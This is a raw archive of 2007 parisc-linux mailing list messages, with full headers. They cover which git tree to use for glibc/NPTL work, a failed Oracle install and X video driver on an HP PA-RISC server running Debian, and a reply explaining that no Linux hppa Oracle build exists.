In-Reply-To: <20070217064648.GA2880@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E+zpdCQ0Iyd1r/qQe2drB6Vaa2FkZpVS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24386

--===============0391425991==
Content-Type: multipart/signed; boundary="nextPart10985481.d39PWYgN9m";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart10985481.d39PWYgN9m
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 17 February 2007, kyle mcmartin wrote:
> And, well, I'm kind of getting sick of it. I propose for at least the next
> few months, instead of everyone being able to pollute the shared tree, th=
ey
> keep all their work in branches. Instead of merging or pushing, or
> whatever, you can send the patches to the list for review. This will work
> more or less like linux-kernel does, hopefully.
>
> Your patch will get an ACK or NAK from others here, and I'll directly
> merge the mail into my git tree, instead of waiting until there's an
> aperture of Minimal Kyle Apathy[3] and having to sync up a pile of junk[4=
].

for the layman (aka me), if i want to pull the latest sources in order to w=
ork=20
on glibc/nptl and such, what git tree should i be pulling ?  torvalds'=20
linux-2.6.git ?  the linux-2.6.git hosted on the parisc-linux.org site ? =20
some other tree ?
=2Dmike

--nextPart10985481.d39PWYgN9m
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.2 (GNU/Linux)

iQIVAwUARdvbPUFjO5/oN/WBAQJbjBAAzm5GGC5y1YG2SVOol2ptyDCV0vExHgJr
DPqYjwHgmlhkjRxCI7bS/sMx1icFxKSqXNMItMT47+vojBFm656mts1RIPCUSRxW
hU4Th5YPW9U0+JySRPJYgbSTX2NlHmFRAmqAqqFjwluI6OoanWys9CfZrkbQgrof
kWGJOMmSfPpW7uPXvoU/UKPYENlS1HlXolF6FBA8NDDQWmzNcnE6xamsd6czbeCc
hmjrTOXsqYPPCo0V6EsfIFwTlxP8QaZ0m1KonHp5EsHnc5S0/yNNFO9N/GFxwUkb
/vvKi5txUf+MV0hQunA+iA1W7tUByrXo3lxbT5x5jkfiHA9YsYsKyscd8R6KqaT5
+hAR1AGRTDrgAtg2hXLYcwesehYE+xuvZU6k2zT2yc8Ji1Bw9vS74FMvtGf98w8J
/puAtWDlnHvrLZKcpdWAScfeq+/C0Nb3FEaSYpQAPaPdX35Kuj9TgJOZJJDMgmiJ
JsglBWubilpbGHi1v7voCq01V9NQFGUfVUbq31cfwvfOidPkoaQLta01m6Z7QCfc
ppUO7zPN7gdtX83JQJse9JhDfs+mqoQSuwchnCQYpFfgZKAs4gVei3atL6r3UWvH
g/w/ZMTkyP7ubVqEBJn9BWrl0HAXRo1ht9+dCgXmy5X7KDQ/hHkDWoCwkxRhGdfI
ROkMYwruarU=
=bP2D
-----END PGP SIGNATURE-----

--nextPart10985481.d39PWYgN9m--

--===============0391425991==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0391425991==--



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alejandro Retana" <ARetana@cr.freshdelmonte.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian-Oracle in my HP PA-RISC box
Date: Thu, 22 Feb 2007 11:32:44 -0600
Lines: 262
Approved: news@gmane.org
Message-ID: <B16125A25C2950468B73254F5FDF36A201D95E4A__42623.8605673008$1416624309$gmane$org@crsnjex001.FreshDelmonte.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0116215234=="
X-Trace: ger.gmane.org 1416624309 23021 80.91.229.3 (22 Nov 2014 02:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:09 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Feb 2007 17:36:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 22 Feb 2007 18:36:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2EF67DBF5;
	Thu, 22 Feb 2007 10:36:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16223-07; Thu, 22 Feb 2007 10:36:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89E797DBF6;
	Thu, 22 Feb 2007 10:36:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF9FB7DBF5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 10:32:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16188-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 10:32:50 -0700 (MST)
Original-Received: from mail145.messagelabs.com (mail145.messagelabs.com
	[216.82.245.115])
	by free.linux.hp.com (Postfix) with SMTP id E83C97DBEF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 10:32:49 -0700 (MST)
X-VirusChecked: Checked
X-Env-Sender: ARetana@cr.freshdelmonte.com
X-Msg-Ref: server-4.tower-145.messagelabs.com!1172165568!2661531!1
X-StarScan-Version: 5.5.10.7.1; banners=cr.freshdelmonte.com,-,-
X-Originating-IP: [170.224.52.142]
Original-Received: (qmail 7046 invoked from network); 22 Feb 2007 17:32:48 -0000
Original-Received: from relay2.freshdelmonte.com (HELO uscgbfe002.FreshDelmonte.corp)
	(170.224.52.142) by server-4.tower-145.messagelabs.com with SMTP;
	22 Feb 2007 17:32:48 -0000
Original-Received: from USCGBEX001.FreshDelmonte.corp ([10.54.150.152]) by
	uscgbfe002.FreshDelmonte.corp with Microsoft SMTPSVC(6.0.3790.211); 
	Thu, 22 Feb 2007 12:37:41 -0500
Original-Received: from crsnjex001.FreshDelmonte.corp ([10.58.0.10]) by
	USCGBEX001.FreshDelmonte.corp with Microsoft SMTPSVC(6.0.3790.211); 
	Thu, 22 Feb 2007 12:32:46 -0500
Content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.5
Thread-Topic: Debian-Oracle in my HP PA-RISC box
Thread-Index: AcdWp3Yoe4Ca50OSRZSvGeNPaIrmUQ==
X-Priority: 1
Priority: Urgent
Importance: high
X-OriginalArrivalTime: 22 Feb 2007 17:32:47.0010 (UTC)
	FILETIME=[77A3D020:01C756A7]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Thu, 22 Feb 2007 10:36:44 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hePvdNVGIyd1r/qQe2drBCZaa2FkZtWk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24387

This is a multi-part message in MIME format.

--===============0116215234==
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C756A7.76A1FB2B"
Content-class: urn:content-classes:message

This is a multi-part message in MIME format.

------_=_NextPart_001_01C756A7.76A1FB2B
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,=20I=20already=20installed=20debian=203.1=20sarge=20r4=20for=20PA-RISC=20=
in=20my=20HP=20rp5400=20box.=20The=20reason=20to=20do=20that=20is=20becaus=
e=20I=20want=20to=20use=20this=20server=20to=20create=20a=20Oracle=20datab=
ase=20parallel=20server,=20but=20I=20have=20two=20problems:

=20

1.=09The=20oracle=20installer=20disk=20is=20not=20running,=20I=20use=20dif=
ferent=20versions,=20Oracle9i=20for=20HP=209000=20Series=20HP-UX=20and=20O=
racle9i=20for=20Linux=2064=20bits,=20but=20neither=20work...=20
2.=09My=20box=20have=20HPA4982B=20video=20card,=20and=20I=20want=20to=20ru=
n=20KDE=20but=20the=20video=20card=20driver=20is=20not=20working,=20I=20tr=
y=20with=20a=20lot=20of=20generic=20drivers=20like=20vesa,=20but=20doesn't=
=20work.
=09Here=20is=20the=20lspci=20command:
=090000:20:00.0=203D=20controller:=20Hewlett-Packard=20Company=20Visualize=
=20FXe=20(rev=2005)
=09Subsystem:=20Hewlett-Packard=20Company:=20Unknown=20device=20108c
=09Flags:=2066MHz,=20medium=20devsel,=20IRQ=20384
=09Memory=20at=2004000000=20(64-bit,=20prefetchable)=20[size=3D16M]
=09Memory=20at=2005000000=20(64-bit,=20non-prefetchable)=20[size=3D16M]
=09Expansion=20ROM=20at=20fa000000=20[disabled]=20[size=3D128K]
=09And=20here=20is=20the=20error=20when=20i=20try=20to=20run=20xinit:
=09(EE)=20No=20devices=20detected.
=09Fatal=20server=20error:
=09no=20screens=20found

=20

=20

Thank=20you=20for=20your=20help...

=20

Alejandro=20Retana=20Rodr=EDguez=20


__________________________________________________________________________=
____________
The=20information=20contained=20in=20this=20message=20may=20be=20privilege=
d
and=20confidential=20and=20protected=20from=20disclosure.=20If=20the=20rea=
der
of=20this=20message=20is=20not=20the=20intended=20recipient,=20or=20an=20e=
mployee
or=20agent=20responsible=20for=20delivering=20this=20message=20to=20the
intended=20recipient,=20you=20are=20hereby=20notified=20that=20any=20repro=
duction,
dissemination=20or=20distribution=20of=20this=20communication=20is=20stric=
tly
prohibited.=20If=20you=20have=20received=20this=20communication=20in=20err=
or,
please=20notify=20us=20immediately=20by=20replying=20to=20the=20message=20=
and
deleting=20it=20from=20your=20computer.=20Thank=20you.
------_=_NextPart_001_01C756A7.76A1FB2B
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html=20xmlns:o=3D"urn:schemas-microsoft-com:office:office"=20xmlns:w=3D"u=
rn:schemas-microsoft-com:office:word"=20xmlns=3D"http://www.w3.org/TR/REC-=
html40">

<head>
<meta=20http-equiv=3DContent-Type=20content=3D"text/html;=20charset=3Diso-=
8859-1">
<meta=20name=3DGenerator=20content=3D"Microsoft=20Word=2011=20(filtered=20=
medium)">
<style>
<!--
=20/*=20Style=20Definitions=20*/
=20p.MsoNormal,=20li.MsoNormal,=20div.MsoNormal
=09{margin:0cm;
=09margin-bottom:.0001pt;
=09font-size:12.0pt;
=09font-family:"Times=20New=20Roman";}
h1
=09{mso-margin-top-alt:auto;
=09margin-right:0cm;
=09mso-margin-bottom-alt:auto;
=09margin-left:0cm;
=09font-size:24.0pt;
=09font-family:"Times=20New=20Roman";}
a:link,=20span.MsoHyperlink
=09{color:blue;
=09text-decoration:underline;}
a:visited,=20span.MsoHyperlinkFollowed
=09{color:purple;
=09text-decoration:underline;}
span.EstiloCorreo17
=09{mso-style-type:personal-compose;
=09font-family:Arial;
=09color:windowtext;}
@page=20Section1
=09{size:612.0pt=20792.0pt;
=09margin:72.0pt=2090.0pt=2072.0pt=2090.0pt;}
div.Section1
=09{page:Section1;}
=20/*=20List=20Definitions=20*/
=20@list=20l0
=09{mso-list-id:44722478;
=09mso-list-type:hybrid;
=09mso-list-template-ids:1757859246=2067698703=2067698713=2067698715=20676=
98703=2067698713=2067698715=2067698703=2067698713=2067698715;}
@list=20l0:level1
=09{mso-level-tab-stop:36.0pt;
=09mso-level-number-position:left;
=09text-indent:-18.0pt;}
ol
=09{margin-bottom:0cm;}
ul
=09{margin-bottom:0cm;}
-->
</style>

</head>

<body=20lang=3DEN-US=20link=3Dblue=20vlink=3Dpurple>

<div=20class=3DSection1>

<p=20class=3DMsoNormal><font=20size=3D2=20face=3DArial><span=20style=3D'fo=
nt-size:10.0pt;
font-family:Arial'>Hi,=20I=20already=20installed=20debian=203.1=20sarge=20=
r4=20for=20PA-RISC=20in=20my
HP=20rp5400=20box.=20The=20reason=20to=20do=20that=20is=20because=20I=20wa=
nt=20to=20use=20this=20server=20to=20create
a=20Oracle=20database=20parallel=20server,=20but=20I=20have=20two=20proble=
ms:<o:p></o:p></span></font></p>

<p=20class=3DMsoNormal><font=20size=3D2=20face=3DArial><span=20style=3D'fo=
nt-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<ol=20style=3D'margin-top:0cm'=20start=3D1=20type=3D1>
=20<li=20class=3DMsoNormal=20style=3D'mso-list:l0=20level1=20lfo1'><font=20=
size=3D2=20face=3DArial><span
=20=20=20=20=20style=3D'font-size:10.0pt;font-family:Arial'>The=20oracle=20=
installer=20disk=20is
=20=20=20=20=20not=20running,=20I=20use=20different=20versions,=20Oracle9i=
=20for=20HP=209000=20Series=20HP-UX
=20=20=20=20=20and=20Oracle9i=20for=20Linux=2064=20bits,=20but=20neither=20=
work&#8230;=20<o:p></o:p></span></font></li>
=20<li=20class=3DMsoNormal=20style=3D'mso-list:l0=20level1=20lfo1'><span=20=
class=3Dtext><font
=20=20=20=20=20size=3D2=20face=3DArial><span=20style=3D'font-size:10.0pt;f=
ont-family:Arial'>My=20box
=20=20=20=20=20have=20</span></font></span><font=20size=3D2=20face=3DArial=
><span=20style=3D'font-size:
=20=20=20=20=2010.0pt;font-family:Arial'>HPA4982B=20video=20card,=20and=20=
<span=20class=3Dtext>I=20want
=20=20=20=20=20to=20run=20KDE=20but=20the=20video=20card=20driver=20is=20n=
ot=20working,=20I=20try=20with=20a=20lot=20of
=20=20=20=20=20generic=20drivers=20like=20vesa,=20but=20doesn't=20work.</s=
pan><br>
=20=20=20=20=20H<span=20class=3Dtext>ere=20is=20the=20lspci=20command:</sp=
an><br>
=20=20=20=20=20<span=20class=3Dtext>0000:20:00.0=203D=20controller:=20Hewl=
ett-Packard=20Company
=20=20=20=20=20Visualize=20FXe=20(rev=2005)</span><br>
=20=20=20=20=20<span=20class=3Dtext>Subsystem:=20Hewlett-Packard=20Company=
:=20Unknown=20device=20108c</span><br>
=20=20=20=20=20<span=20class=3Dtext>Flags:=2066MHz,=20medium=20devsel,=20I=
RQ=20384</span><br>
=20=20=20=20=20<span=20class=3Dtext>Memory=20at=2004000000=20(64-bit,=20pr=
efetchable)=20[size=3D16M]</span><br>
=20=20=20=20=20<span=20class=3Dtext>Memory=20at=2005000000=20(64-bit,=20no=
n-prefetchable)=20[size=3D16M]</span><br>
=20=20=20=20=20<span=20class=3Dtext>Expansion=20ROM=20at=20fa000000=20[dis=
abled]=20[size=3D128K]</span><br>
=20=20=20=20=20A<span=20class=3Dtext>nd=20here=20is=20the=20error=20when=20=
i=20try=20to=20run=20xinit:</span><br>
=20=20=20=20=20<span=20class=3Dtext>(EE)=20No=20devices=20detected.</span>=
<br>
=20=20=20=20=20<span=20class=3Dtext>Fatal=20server=20error:</span><br>
=20=20=20=20=20<span=20class=3Dtext>no=20screens=20found<o:p></o:p></span>=
</span></font></li>
</ol>

<p=20class=3DMsoNormal=20style=3D'margin-left:18.0pt'><font=20size=3D2=20f=
ace=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></fon=
t></p>

<p=20class=3DMsoNormal=20style=3D'margin-left:18.0pt'><font=20size=3D2=20f=
ace=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></fon=
t></p>

<p=20class=3DMsoNormal=20style=3D'margin-left:18.0pt'><font=20size=3D2=20f=
ace=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Thank=20you=20for=20your=20he=
lp&#8230;<o:p></o:p></span></font></p>

<p=20class=3DMsoNormal=20style=3D'margin-left:18.0pt'><font=20size=3D2=20f=
ace=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></fon=
t></p>

<p=20class=3DMsoNormal=20style=3D'margin-left:18.0pt'><font=20size=3D2=20f=
ace=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>Alejandro=20Retana=20Rodr=EDg=
uez&nbsp;<o:p></o:p></span></font></p>

</div>


<BR>
__________________________________________________________________________=
____________<BR>
The=20information=20contained=20in=20this=20message=20may=20be=20privilege=
d<BR>
and=20confidential=20and=20protected=20from=20disclosure.=20If=20the=20rea=
der<BR>
of=20this=20message=20is=20not=20the=20intended=20recipient,=20or=20an=20e=
mployee<BR>
or=20agent=20responsible=20for=20delivering=20this=20message=20to=20the<BR=
>
intended=20recipient,=20you=20are=20hereby=20notified=20that=20any=20repro=
duction,<BR>
dissemination=20or=20distribution=20of=20this=20communication=20is=20stric=
tly<BR>
prohibited.=20If=20you=20have=20received=20this=20communication=20in=20err=
or,<BR>
please=20notify=20us=20immediately=20by=20replying=20to=20the=20message=20=
and<BR>
deleting=20it=20from=20your=20computer.=20Thank=20you.<BR>
</body>

</html>

------_=_NextPart_001_01C756A7.76A1FB2B--

--===============0116215234==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0116215234==--



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RV: Debian-Oracle in my HP PA-RISC box
Date: Fri, 23 Feb 2007 02:09:19 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20070223010919.GF9712__21246.0641553209$1416624309$gmane$org@lug-owl.de>
References: <B16125A25C2950468B73254F5FDF36A201D95E7E@crsnjex001.FreshDelmonte.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0336249507=="
X-Trace: ger.gmane.org 1416624309 23024 80.91.229.3 (22 Nov 2014 02:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alejandro Retana <ARetana@cr.freshdelmonte.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2007 01:09:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 23 Feb 2007 02:09:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86C647DB30;
	Thu, 22 Feb 2007 18:09:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19068-04; Thu, 22 Feb 2007 18:09:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A2317DB2B;
	Thu, 22 Feb 2007 18:09:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F03427DB27
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 18:09:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19068-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 18:09:21 -0700 (MST)
Original-Received: from lug-owl.de (lug-owl.de [195.71.106.12])
	by free.linux.hp.com (Postfix) with ESMTP id 27D347DA9E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 18:09:21 -0700 (MST)
Original-Received: by lug-owl.de (Postfix, from userid 1001)
	id 6792FF07DB; Fri, 23 Feb 2007 02:09:19 +0100 (CET)
Mail-Followup-To: Alejandro Retana <ARetana@cr.freshdelmonte.com>,
	parisc-linux@lists.parisc-linux.org
In-Reply-To: <B16125A25C2950468B73254F5FDF36A201D95E7E@crsnjex001.FreshDelmonte.corp>
X-Operating-System: Linux mail 2.6.12.3lug-owl 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
X-Echelon-Enable: howto poison arsenous mail psychological biological nuclear
	warfare test the bombastical terror of flooding the spy
	listeners explosion sex drugs and rock'n'roll
X-TKUeV: howto poison arsenous mail psychological biological nuclear warfare
	test the bombastical terror of flooding the spy listeners
	explosion sex drugs and rock'n'roll
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +gbodNNdYmYSwOnCanc3VLZKWkZTQVQY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24388


--===============0336249507==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="jkO+KyKz7TfD21mV"
Content-Disposition: inline


--jkO+KyKz7TfD21mV
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2007-02-22 11:37:54 -0600, Alejandro Retana <ARetana@cr.freshdelmon=
te.com> wrote:

> oracle@debian:/cdrom$ ls
>=20
> doc  index.htm  install  lgto  response  runInstaller  stage
>=20
> oracle@debian:/cdrom$ ./runInstaller
>=20
> oracle@debian:/cdrom$ ./runInstaller: line 35: ./runInstaller: cannot exe=
cute binary file

Sure. As far as I know, there simply *is* no Linux ELF Oracle version
for hppa.  This just won't work.


Try 'file runInstaller' to see what what this file was created for...


MfG, JBG

--=20
      Jan-Benedict Glaw      jbglaw@lug-owl.de              +49-172-7608481
Signature of:              Alles sollte so einfach wie m=C3=B6glich gemacht=
 sein.
the second  :                          Aber nicht einfacher.  (Einstein)

--jkO+KyKz7TfD21mV
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFF3j6/Hb1edYOZ4bsRAsy5AJ9zFqsQRJTM/donPKVhc8LaKR7xhACfSnwQ
ftrxk3/uJuxWzecvlYdUe4g=
=xy5y
-----END PGP SIGNATURE-----

--jkO+KyKz7TfD21mV--

--===============0336249507==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0336249507==--



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Thu, 22 Feb 2007 18:42:02 -0800 (PST)
Lines: 32
Approved: news@gmane.org
Message-ID: <20070223024202.1175E1800E4__39701.3952526779$1416624309$gmane$org@magilla.sf.frob.com>
References: <119aab440702181522p517493e0gd4dcc8be753fd225@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624309 23027 80.91.229.3 (22 Nov 2014 02:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:09 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 Aurelien Jarno <aurel32@debian.org>,
 debian-glibc@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2007 02:42:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 23 Feb 2007 03:42:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 084407DB3C;
	Thu, 22 Feb 2007 19:42:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19497-07; Thu, 22 Feb 2007 19:42:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 489F87DB35;
	Thu, 22 Feb 2007 19:42:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D53997DAD3
